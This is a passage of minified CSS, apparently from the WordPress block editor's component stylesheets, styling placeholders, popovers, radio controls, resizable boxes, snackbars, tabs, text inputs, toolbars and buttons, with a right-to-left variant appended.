.dashicon,.components-placeholder__label>svg{fill:CanvasText}}.components-placeholder__label:empty{display:none}.components-placeholder__fieldset,.components-placeholder__fieldset form{display:flex;flex-direction:row;flex-wrap:wrap;width:100%}.components-placeholder__fieldset form p,.components-placeholder__fieldset p{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px}.components-placeholder__fieldset.is-column-layout,.components-placeholder__fieldset.is-column-layout form{flex-direction:column}.components-placeholder__input[type=url]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;flex:1 1 auto;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;line-height:normal;margin:0 8px 0 0;padding:6px 8px;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-placeholder__input[type=url]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-placeholder__input[type=url]{font-size:13px;line-height:normal}}.components-placeholder__input[type=url]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-placeholder__input[type=url]::-webkit-input-placeholder{color:#1e1e1e9e}.components-placeholder__input[type=url]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-placeholder__input[type=url]:-ms-input-placeholder{color:#1e1e1e9e}.components-placeholder__instructions{margin-bottom:1em}.components-placeholder__error{margin-top:1em;width:100%}.components-placeholder__fieldset .components-button{margin-bottom:12px;margin-right:12px}.components-placeholder__fieldset .components-button:last-child{margin-bottom:0;margin-right:0}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link{margin-left:10px;margin-right:10px}.components-placeholder__fieldset .components-button:not(.is-link)~.components-button.is-link:last-child{margin-right:0}.components-placeholder.is-large .components-placeholder__label{font-size:18pt;font-weight:400}.components-placeholder.is-medium .components-placeholder__instructions,.components-placeholder.is-small .components-placeholder__instructions{display:none}.components-placeholder.is-medium .components-placeholder__fieldset,.components-placeholder.is-medium .components-placeholder__fieldset form,.components-placeholder.is-small .components-placeholder__fieldset,.components-placeholder.is-small .components-placeholder__fieldset form{flex-direction:column}.components-placeholder.is-medium .components-placeholder__fieldset .components-button,.components-placeholder.is-small .components-placeholder__fieldset .components-button{margin-right:auto}.components-placeholder.is-small .components-button{padding:0 8px 2px}.components-placeholder.has-illustration{-webkit-backdrop-filter:blur(100px);backdrop-filter:blur(100px);backface-visibility:hidden;background-color:initial;border-radius:2px;box-shadow:none;color:inherit;display:flex;overflow:auto}.is-dark-theme .components-placeholder.has-illustration{background-color:#0000001a}.components-placeholder.has-illustration .components-placeholder__fieldset{margin-left:0;margin-right:0;width:auto}.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{opacity:0;pointer-events:none;transition:opacity .1s linear}@media (prefers-reduced-motion:reduce){.components-placeholder.has-illustration .components-button,.components-placeholder.has-illustration .components-placeholder__instructions,.components-placeholder.has-illustration .components-placeholder__label{transition-delay:0s;transition-duration:0s}}.is-selected>.components-placeholder.has-illustration .components-button,.is-selected>.components-placeholder.has-illustration .components-placeholder__instructions,.is-selected>.components-placeholder.has-illustration .components-placeholder__label{opacity:1;pointer-events:auto}.components-placeholder.has-illustration:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.components-placeholder__preview{display:flex;justify-content:center}.components-placeholder__illustration{box-sizing:initial;height:100%;left:50%;position:absolute;top:50%;transform:translate(-50%,-50%);width:100%;stroke:currentColor;opacity:.25}.components-popover{box-sizing:border-box;will-change:transform;z-index:1000000}.components-popover *,.components-popover :after,.components-popover :before{box-sizing:inherit}.components-popover.is-expanded{bottom:0;left:0;position:fixed;right:0;top:0;z-index:1000000!important}.components-popover__content{background:#fff;border-radius:2px;box-shadow:0 0 0 1px #ccc,0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;box-sizing:border-box;width:min-content}.is-alternate .components-popover__content{box-shadow:0 0 0 1px #1e1e1e}.is-unstyled .components-popover__content{background:none;border-radius:0;box-shadow:none}.components-popover.is-expanded .components-popover__content{box-shadow:0 -1px 0 0 #ccc;height:calc(100% - 48px);overflow-y:visible;position:static;width:auto}.components-popover.is-expanded.is-alternate .components-popover__content{box-shadow:0 -1px 0 #1e1e1e}.components-popover__header{align-items:center;background:#fff;display:flex;height:48px;justify-content:space-between;padding:0 8px 0 16px}.components-popover__header-title{overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:100%}.components-popover__close.components-button{z-index:5}.components-popover__arrow{display:flex;height:14px;pointer-events:none;position:absolute;width:14px}.components-popover__arrow:before{background-color:#fff;content:"";height:2px;left:1px;position:absolute;right:1px;top:-1px}.components-popover__arrow.is-top{bottom:-14px!important;transform:rotate(0)}.components-popover__arrow.is-right{left:-14px!important;transform:rotate(90deg)}.components-popover__arrow.is-bottom{top:-14px!important;transform:rotate(180deg)}.components-popover__arrow.is-left{right:-14px!important;transform:rotate(-90deg)}.components-popover__triangle{display:block;flex:1}.components-popover__triangle-bg{fill:#fff}.components-popover__triangle-border{fill:#0000;stroke-width:1px;stroke:#ccc}.is-alternate .components-popover__triangle-border{stroke:#1e1e1e}.components-popover-pointer-events-trap{background-color:initial;inset:0;position:fixed;z-index:1000000}.components-radio-control__option{align-items:center;display:flex}.components-radio-control__input[type=radio]{-webkit-appearance:none;appearance:none;border:1px solid #1e1e1e;border-radius:2px;border-radius:50%;box-shadow:0 0 0 #0000;cursor:pointer;display:inline-flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:24px;line-height:normal;margin:0 6px 0 0;padding:0;transition:box-shadow .1s linear;transition:none;width:24px}@media (prefers-reduced-motion:reduce){.components-radio-control__input[type=radio]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-radio-control__input[type=radio]{font-size:13px;line-height:normal}}.components-radio-control__input[type=radio]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]::-webkit-input-placeholder{color:#1e1e1e9e}.components-radio-control__input[type=radio]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-radio-control__input[type=radio]:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.components-radio-control__input[type=radio]{height:20px;width:20px}}.components-radio-control__input[type=radio]:checked:before{background-color:#fff;border:4px solid #fff;box-sizing:inherit;height:8px;margin:0;transform:translate(7px,7px);width:8px}@media (min-width:600px){.components-radio-control__input[type=radio]:checked:before{transform:translate(5px,5px)}}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid #0000}.components-radio-control__input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.components-radio-control__input[type=radio]:focus{box-shadow:0 0 0 2px var(--wp-components-color-background,#fff),0 0 0 4px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-radio-control__input[type=radio]:checked:before{border-radius:50%;content:""}.components-radio-control__label{cursor:pointer}.components-resizable-box__handle{display:none;height:23px;width:23px;z-index:2}.components-resizable-box__container.has-show-handle .components-resizable-box__handle{display:block}.components-resizable-box__container>img{width:inherit}.components-resizable-box__handle:after{background:#fff;border-radius:50%;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));content:"";cursor:inherit;display:block;height:15px;outline:2px solid #0000;position:absolute;right:calc(50% - 8px);top:calc(50% - 8px);width:15px}.components-resizable-box__side-handle:before{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:2px;content:"";cursor:inherit;display:block;height:3px;opacity:0;position:absolute;right:calc(50% - 1px);top:calc(50% - 1px);transition:transform .1s ease-in;width:3px;will-change:transform}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle:before{transition-delay:0s;transition-duration:0s}}.components-resizable-box__corner-handle,.components-resizable-box__side-handle{z-index:2}.components-resizable-box__side-handle.components-resizable-box__handle-bottom,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:before,.components-resizable-box__side-handle.components-resizable-box__handle-top,.components-resizable-box__side-handle.components-resizable-box__handle-top:before{border-left:0;border-right:0;left:0;width:100%}.components-resizable-box__side-handle.components-resizable-box__handle-left,.components-resizable-box__side-handle.components-resizable-box__handle-left:before,.components-resizable-box__side-handle.components-resizable-box__handle-right,.components-resizable-box__side-handle.components-resizable-box__handle-right:before{border-bottom:0;border-top:0;height:100%;top:0}.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:components-resizable-box__top-bottom-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation-delay:0s;animation-duration:1ms}}.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation:components-resizable-box__left-right-animation .1s ease-out 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before{animation-delay:0s;animation-duration:1ms}}@media not all and (min-resolution:0.001dpcm){@supports (-webkit-appearance:none){.components-resizable-box__side-handle.components-resizable-box__handle-bottom:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-bottom:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-left:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-right:hover:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:active:before,.components-resizable-box__side-handle.components-resizable-box__handle-top:hover:before{animation:none}}}@keyframes components-resizable-box__top-bottom-animation{0%{opacity:0;transform:scaleX(0)}to{opacity:1;transform:scaleX(1)}}@keyframes components-resizable-box__left-right-animation{0%{opacity:0;transform:scaleY(0)}to{opacity:1;transform:scaleY(1)}}
/*!rtl:begin:ignore*/.components-resizable-box__handle-right{right:-11.5px}.components-resizable-box__handle-left{left:-11.5px}.components-resizable-box__handle-top{top:-11.5px}.components-resizable-box__handle-bottom{bottom:-11.5px}

/*!rtl:end:ignore*/.components-responsive-wrapper{align-items:center;display:flex;justify-content:center;max-width:100%;position:relative}.components-responsive-wrapper__content{display:block;max-width:100%;width:100%}.components-sandbox{overflow:hidden}iframe.components-sandbox{width:100%}body.lockscroll,html.lockscroll{overflow:hidden}.components-select-control__input{outline:0;-webkit-tap-highlight-color:rgba(0,0,0,0)!important}@media (max-width:782px){.components-base-control .components-base-control__field .components-select-control__input{font-size:16px}}.components-snackbar{-webkit-backdrop-filter:blur(16px) saturate(180%);backdrop-filter:blur(16px) saturate(180%);background:#000000d9;border-radius:2px;box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a;box-sizing:border-box;color:#fff;cursor:pointer;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;max-width:600px;padding:12px 20px;pointer-events:auto;width:100%}@media (min-width:600px){.components-snackbar{width:-moz-fit-content;width:fit-content}}.components-snackbar:focus{box-shadow:inset 0 0 0 1px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-snackbar.components-snackbar-explicit-dismiss{cursor:default}.components-snackbar .components-snackbar__content-with-icon{padding-left:24px;position:relative}.components-snackbar .components-snackbar__icon{left:-8px;position:absolute;top:-2.9px}.components-snackbar .components-snackbar__dismiss-button{cursor:pointer;margin-left:24px}.components-snackbar__action.components-button{color:#fff;flex-shrink:0;height:auto;line-height:1.4;margin-left:32px;padding:0}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary){background-color:initial;text-decoration:underline}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):focus{box-shadow:none;color:#fff;outline:1px dotted #fff}.components-snackbar__action.components-button:not(:disabled):not([aria-disabled=true]):not(.is-secondary):hover{color:#fff;text-decoration:none}.components-snackbar__content{align-items:baseline;display:flex;justify-content:space-between;line-height:1.4}.components-snackbar-list{box-sizing:border-box;pointer-events:none;position:absolute;width:100%;z-index:100000}.components-snackbar-list__notice-container{padding-top:8px;position:relative}.components-tab-panel__tabs{align-items:stretch;display:flex;flex-direction:row}.components-tab-panel__tabs[aria-orientation=vertical]{flex-direction:column}.components-tab-panel__tabs-item{background:#0000;border:none;border-radius:0;box-shadow:none;cursor:pointer;font-weight:500;height:48px;margin-left:0;padding:3px 16px;position:relative}.components-tab-panel__tabs-item:focus:not(:disabled){box-shadow:none;outline:none;position:relative}.components-tab-panel__tabs-item:after{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-radius:0;bottom:0;content:"";height:calc(var(--wp-admin-border-width-focus)*0);left:0;pointer-events:none;position:absolute;right:0;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-tab-panel__tabs-item:after{transition-delay:0s;transition-duration:0s}}.components-tab-panel__tabs-item.is-active:after{height:calc(var(--wp-admin-border-width-focus)*1);outline:2px solid #0000;outline-offset:-1px}.components-tab-panel__tabs-item:before{border-radius:2px;bottom:12px;box-shadow:0 0 0 0 #0000;content:"";left:12px;pointer-events:none;position:absolute;right:12px;top:12px;transition:all .1s linear}@media (prefers-reduced-motion:reduce){.components-tab-panel__tabs-item:before{transition-delay:0s;transition-duration:0s}}.components-tab-panel__tabs-item:focus-visible:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{border:1px solid #949494;border-radius:2px;box-shadow:0 0 0 #0000;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;padding:6px 8px;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.components-text-control__input,.components-text-control__input[type=color],.components-text-control__input[type=date],.components-text-control__input[type=datetime-local],.components-text-control__input[type=datetime],.components-text-control__input[type=email],.components-text-control__input[type=month],.components-text-control__input[type=number],.components-text-control__input[type=password],.components-text-control__input[type=tel],.components-text-control__input[type=text],.components-text-control__input[type=time],.components-text-control__input[type=url],.components-text-control__input[type=week]{font-size:13px;line-height:normal}}.components-text-control__input:focus,.components-text-control__input[type=color]:focus,.components-text-control__input[type=date]:focus,.components-text-control__input[type=datetime-local]:focus,.components-text-control__input[type=datetime]:focus,.components-text-control__input[type=email]:focus,.components-text-control__input[type=month]:focus,.components-text-control__input[type=number]:focus,.components-text-control__input[type=password]:focus,.components-text-control__input[type=tel]:focus,.components-text-control__input[type=text]:focus,.components-text-control__input[type=time]:focus,.components-text-control__input[type=url]:focus,.components-text-control__input[type=week]:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.components-text-control__input::-webkit-input-placeholder,.components-text-control__input[type=color]::-webkit-input-placeholder,.components-text-control__input[type=date]::-webkit-input-placeholder,.components-text-control__input[type=datetime-local]::-webkit-input-placeholder,.components-text-control__input[type=datetime]::-webkit-input-placeholder,.components-text-control__input[type=email]::-webkit-input-placeholder,.components-text-control__input[type=month]::-webkit-input-placeholder,.components-text-control__input[type=number]::-webkit-input-placeholder,.components-text-control__input[type=password]::-webkit-input-placeholder,.components-text-control__input[type=tel]::-webkit-input-placeholder,.components-text-control__input[type=text]::-webkit-input-placeholder,.components-text-control__input[type=time]::-webkit-input-placeholder,.components-text-control__input[type=url]::-webkit-input-placeholder,.components-text-control__input[type=week]::-webkit-input-placeholder{color:#1e1e1e9e}.components-text-control__input::-moz-placeholder,.components-text-control__input[type=color]::-moz-placeholder,.components-text-control__input[type=date]::-moz-placeholder,.components-text-control__input[type=datetime-local]::-moz-placeholder,.components-text-control__input[type=datetime]::-moz-placeholder,.components-text-control__input[type=email]::-moz-placeholder,.components-text-control__input[type=month]::-moz-placeholder,.components-text-control__input[type=number]::-moz-placeholder,.components-text-control__input[type=password]::-moz-placeholder,.components-text-control__input[type=tel]::-moz-placeholder,.components-text-control__input[type=text]::-moz-placeholder,.components-text-control__input[type=time]::-moz-placeholder,.components-text-control__input[type=url]::-moz-placeholder,.components-text-control__input[type=week]::-moz-placeholder{color:#1e1e1e9e;opacity:1}.components-text-control__input:-ms-input-placeholder,.components-text-control__input[type=color]:-ms-input-placeholder,.components-text-control__input[type=date]:-ms-input-placeholder,.components-text-control__input[type=datetime-local]:-ms-input-placeholder,.components-text-control__input[type=datetime]:-ms-input-placeholder,.components-text-control__input[type=email]:-ms-input-placeholder,.components-text-control__input[type=month]:-ms-input-placeholder,.components-text-control__input[type=number]:-ms-input-placeholder,.components-text-control__input[type=password]:-ms-input-placeholder,.components-text-control__input[type=tel]:-ms-input-placeholder,.components-text-control__input[type=text]:-ms-input-placeholder,.components-text-control__input[type=time]:-ms-input-placeholder,.components-text-control__input[type=url]:-ms-input-placeholder,.components-text-control__input[type=week]:-ms-input-placeholder{color:#1e1e1e9e}.components-text-control__input.is-next-40px-default-size,.components-text-control__input[type=color].is-next-40px-default-size,.components-text-control__input[type=date].is-next-40px-default-size,.components-text-control__input[type=datetime-local].is-next-40px-default-size,.components-text-control__input[type=datetime].is-next-40px-default-size,.components-text-control__input[type=email].is-next-40px-default-size,.components-text-control__input[type=month].is-next-40px-default-size,.components-text-control__input[type=number].is-next-40px-default-size,.components-text-control__input[type=password].is-next-40px-default-size,.components-text-control__input[type=tel].is-next-40px-default-size,.components-text-control__input[type=text].is-next-40px-default-size,.components-text-control__input[type=time].is-next-40px-default-size,.components-text-control__input[type=url].is-next-40px-default-size,.components-text-control__input[type=week].is-next-40px-default-size{height:40px}.components-tip{color:#757575;display:flex}.components-tip svg{align-self:center;fill:#f0b849;flex-shrink:0;margin-right:16px}.components-tip p{margin:0}.components-accessible-toolbar{border:1px solid #1e1e1e;border-radius:2px;display:inline-flex;flex-shrink:0}.components-accessible-toolbar>.components-toolbar-group:last-child{border-right:none}.components-accessible-toolbar.is-unstyled{border:none}.components-accessible-toolbar.is-unstyled>.components-toolbar-group{border-right:none}.components-accessible-toolbar .components-button,.components-toolbar .components-button{height:48px;padding-left:16px;padding-right:16px;position:relative;z-index:1}.components-accessible-toolbar .components-button:focus:not(:disabled),.components-toolbar .components-button:focus:not(:disabled){box-shadow:none;outline:none}.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation:components-button__appear-animation .1s ease;animation-fill-mode:forwards;border-radius:2px;content:"";display:block;height:32px;left:8px;position:absolute;right:8px;z-index:-1}@media (prefers-reduced-motion:reduce){.components-accessible-toolbar .components-button:before,.components-toolbar .components-button:before{animation-delay:0s;animation-duration:1ms}}.components-accessible-toolbar .components-button svg,.components-toolbar .components-button svg{margin-left:auto;margin-right:auto;position:relative}.components-accessible-toolbar .components-button.is-pressed,.components-accessible-toolbar .components-button.is-pressed:hover,.components-toolbar .components-button.is-pressed,.components-toolbar .components-button.is-pressed:hover{background:#0000}.components-accessible-toolbar .components-button.is-pressed:before,.components-toolbar .components-button.is-pressed:before{background:#1e1e1e}.components-accessible-toolbar .components-button:focus:before,.components-toolbar .components-button:focus:before{box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:2px solid #0000}.components-accessible-toolbar .components-button.has-icon.has-icon,.components-toolbar .components-button.has-icon.has-icon{min-width:48px;padding-left:12px;padding-right:12px}.components-accessible-toolbar .components-button.components-tab-button,.components-toolbar .components-button.components-tab-button{font-weight:500}.components-accessible-toolbar .components-button.components-tab-button span,.components-toolbar .components-button.components-tab-button span{display:inline-block;padding-left:0;padding-right:0;position:relative}@keyframes components-button__appear-animation{0%{transform:scaleY(0)}to{transform:scaleY(1)}}.components-toolbar__control.components-button{position:relative}.components-toolbar__control.components-button[data-subscript] svg{padding:5px 10px 5px 0}.components-toolbar__control.components-button[data-subscript]:after{bottom:10px;content:attr(data-subscript);font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;line-height:12px;position:absolute;right:8px}.components-toolbar__control.components-button:not(:disabled).is-pressed[data-subscript]:after{color:#fff}.components-toolbar-group{background-color:#fff;border-right:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;line-height:0;min-height:48px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-toolbar-group.components-toolbar-group{border-width:0;margin:0}.components-toolbar-group .components-button.components-button,.components-toolbar-group .components-button.has-icon.has-icon{min-width:36px;padding-left:6px;padding-right:6px}.components-toolbar-group .components-button.components-button svg,.components-toolbar-group .components-button.has-icon.has-icon svg{min-width:24px}.components-toolbar-group .components-button.components-button:before,.components-toolbar-group .components-button.has-icon.has-icon:before{left:2px;right:2px}.components-toolbar{background-color:#fff;border:1px solid #1e1e1e;display:inline-flex;flex-shrink:0;flex-wrap:wrap;margin:0;min-height:48px}.components-toolbar .components-toolbar.components-toolbar{border-width:0;margin:0}div.components-toolbar>div{display:block;margin:0}@supports (position:sticky){div.components-toolbar>div{display:flex}}div.components-toolbar>div+div.has-left-divider{margin-left:6px;overflow:visible;position:relative}div.components-toolbar>div+div.has-left-divider:before{background-color:#ddd;box-sizing:initial;content:"";display:inline-block;height:20px;left:-3px;position:absolute;top:8px;width:1px}.components-tooltip{background:#000;border-radius:2px;color:#f0f0f0;font-size:12px;line-height:1.4;padding:4px 8px;text-align:center;z-index:1000002}.components-tooltip__shortcut{margin-left:8px}@charset "UTF-8";:root{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.components-animate__appear{animation:components-animate__appear-animation .1s cubic-bezier(0,0,.2,1) 0s;animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__appear{animation-delay:0s;animation-duration:1ms}}.components-animate__appear.is-from-top,.components-animate__appear.is-from-top.is-from-left{transform-origin:top right}.components-animate__appear.is-from-top.is-from-right{transform-origin:top left}.components-animate__appear.is-from-bottom,.components-animate__appear.is-from-bottom.is-from-left{transform-origin:bottom right}.components-animate__appear.is-from-bottom.is-from-right{transform-origin:bottom left}@keyframes components-animate__appear-animation{0%{transform:translateY(-2em) scaleY(0) scaleX(0)}to{transform:translateY(0) scaleY(1) scaleX(1)}}.components-animate__slide-in{animation:components-animate__slide-in-animation .1s cubic-bezier(0,0,.2,1);animation-fill-mode:forwards}@media (prefers-reduced-motion:reduce){.components-animate__slide-in{animation-delay:0s;animation-duration:1ms}}.components-animate__slide-in.is-from-left{transform:translateX(-100%)}.components-animate__slide-in.is-from-right{transform:translateX(100%)}@keyframes components-animate__slide-in-animation{to{transform:translateX(0)}}.components-animate__loading{animation:components-animate__loading 1.6s ease-in-out infinite}@keyframes components-animate__loading{0%{opacity:.5}50%{opacity:1}to{opacity:.5}}.components-autocomplete__popover .components-popover__content{min-width:220px;padding:16px}.components-autocomplete__result.components-button{display:flex;height:auto;min-height:36px;text-align:right;width:100%}.components-autocomplete__result.components-button.is-selected{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button-group{display:inline-block}.components-button-group .components-button{border-radius:0;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:inline-flex}.components-button-group .components-button+.components-button{margin-right:-1px}.components-button-group .components-button:first-child{border-radius:0 2px 2px 0}.components-button-group .components-button:last-child{border-radius:2px 0 0 2px}.components-button-group .components-button.is-primary,.components-button-group .components-button:focus{position:relative;z-index:1}.components-button-group .components-button.is-primary{box-shadow:inset 0 0 0 1px #1e1e1e}.components-button{align-items:center;-webkit-appearance:none;background:none;border:0;border-radius:2px;box-sizing:border-box;color:var(--wp-components-color-foreground,#1e1e1e);cursor:pointer;display:inline-flex;font-family:inherit;font-size:13px;font-weight:400;height:36px;margin:0;padding:6px 12px;text-decoration:none;transition:box-shadow .1s linear}@media (prefers-reduced-motion:reduce){.components-button{transition-delay:0s;transition-duration:0s}}.components-button.is-next-40px-default-size{height:40px}.components-button:hover,.components-button[aria-expanded=true]{color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button:disabled:hover,.components-button[aria-disabled=true]:hover{color:initial}.components-button:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));outline:3px solid #0000}.components-button.is-primary{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff);outline:1px solid #0000;text-decoration:none;text-shadow:none;white-space:nowrap}.components-button.is-primary:hover:not(:disabled){background:var(--wp-components-color-accent-darker-10,var(--wp-admin-theme-color-darker-10,#2145e6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:active:not(:disabled){background:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));border-color:var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-primary:focus:not(:disabled){box-shadow:inset 0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary:disabled,.components-button.is-primary:disabled:active:enabled,.components-button.is-primary[aria-disabled=true],.components-button.is-primary[aria-disabled=true]:active:enabled,.components-button.is-primary[aria-disabled=true]:enabled{background:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff6;opacity:1;outline:none}.components-button.is-primary:disabled:active:enabled:focus:enabled,.components-button.is-primary:disabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:active:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:enabled:focus:enabled,.components-button.is-primary[aria-disabled=true]:focus:enabled{box-shadow:0 0 0 1px var(--wp-components-color-background,#fff),0 0 0 3px var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9))}.components-button.is-primary.is-busy,.components-button.is-primary.is-busy:disabled,.components-button.is-primary.is-busy[aria-disabled=true]{background-image:linear-gradient(45deg,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 33%,var(--wp-components-color-accent-darker-20,var(--wp-admin-theme-color-darker-20,#183ad6)) 70%,var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9)) 70%);background-size:100px 100%;border-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:var(--wp-components-color-accent-inverted,#fff)}.components-button.is-secondary,.components-button.is-tertiary{outline:1px solid 